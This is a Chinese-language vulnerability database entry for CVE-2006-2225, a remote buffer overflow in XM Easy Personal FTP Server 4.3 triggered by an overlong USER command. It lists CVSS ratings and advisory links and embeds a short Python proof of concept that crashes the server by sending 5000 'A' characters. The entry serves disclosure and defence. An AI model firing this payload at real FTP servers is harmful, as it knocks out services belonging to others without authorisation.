CVE-2006-2225
CVSS7.5
发布时间 :2006-05-05 15:02:00
修订时间 :2011-03-07 21:35:34
NMCOE    

[原文]Buffer overflow in XM Easy Personal FTP Server 4.3 and earlier allows remote attackers to execute arbitrary code, probably via a USER command with a long username.


[CNNVD]XM Easy Personal FTP Server 用户名认证 缓冲区溢出漏洞(CNNVD-200605-115)

        XM Easy Personal FTP Server是一款简单易用的个人FTP服务器。
        XM Easy Personal FTP Server在处理用户连接到服务器时所提供的用户名时存在溢出漏洞,允许用户通过一些命令向缓冲区传送超长的参数,成功利用这个漏洞的攻击者可以远程执行任意指令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2225
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2225
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200605-115
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1673
(UNKNOWN)  VUPEN  ADV-2006-1673
http://www.securityfocus.com/bid/17836
(UNKNOWN)  BID  17836
http://www.securityfocus.com/archive/1/archive/1/432960/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060504 [REWTERZ-20060503] XM Easy Personal FTP Server Remote Buffer Overflow Vulnerability
http://xforce.iss.net/xforce/xfdb/26256
(UNKNOWN)  XF  xm-ftp-username-bo(26256)
http://www.osvdb.org/25314
(UNKNOWN)  OSVDB  25314
http://www.osvdb.org/25277
(UNKNOWN)  OSVDB  25277
http://securityreason.com/securityalert/851
(UNKNOWN)  SREASON  851
http://secunia.com/advisories/19970
(UNKNOWN)  SECUNIA  19970

- 漏洞信息

XM Easy Personal FTP Server 用户名认证 缓冲区溢出漏洞
高危 缓冲区溢出
2006-05-05 00:00:00 2006-05-08 00:00:00
远程  
        XM Easy Personal FTP Server是一款简单易用的个人FTP服务器。
        XM Easy Personal FTP Server在处理用户连接到服务器时所提供的用户名时存在溢出漏洞,允许用户通过一些命令向缓冲区传送超长的参数,成功利用这个漏洞的攻击者可以远程执行任意指令。

- 公告与补丁

        暂无数据

- 漏洞信息 (1748)

XM Easy Personal FTP Server <= 4.3 (USER) Remote Buffer Overflow PoC (EDBID:1748)
windows dos
2006-05-04 Verified
0 rewterz
[点击下载] [点击下载]
##############################################################
# XM EASY PERSONAL FTP SERVER v4.3                           #  
# http://www.securityfocus.com/archive/1/432960/30/0/threaded# 
# Buffer Overflow Vulnerability PoC                          #  
# ahmed@rewterz.com                                          #
##############################################################

import socket
import struct
import time
import sys


buff='USER '+'A'*5000+'\r\n'

if len(sys.argv)!=3:
	print "[+] Usage: %s <ip> <port> \n" %sys.argv[0]
	sys.exit(0)

try:
	
        print "[+] Connecting to %s" %sys.argv[1]
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	connect=s.connect((sys.argv[1],int(sys.argv[2])))
	print "[+] Sending Evil buffer"
	time.sleep(1)
	s.send(buff)
        print "[+] Service Crashed"
        s.recv(1024)
	
except:
	print "[+] Could Not Connect To ftp server"

# milw0rm.com [2006-05-04]
		

- 漏洞信息

25277
XM Easy Personal FTP Server USER Command Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity, Loss of Availability
Exploit Public

- 漏洞描述

A remote overflow exists in XM Easy Personal FTP Server. The FTP server fails to properly sanitize an overly long 'USER' command resulting in a heap-based buffer overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2006-05-03 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

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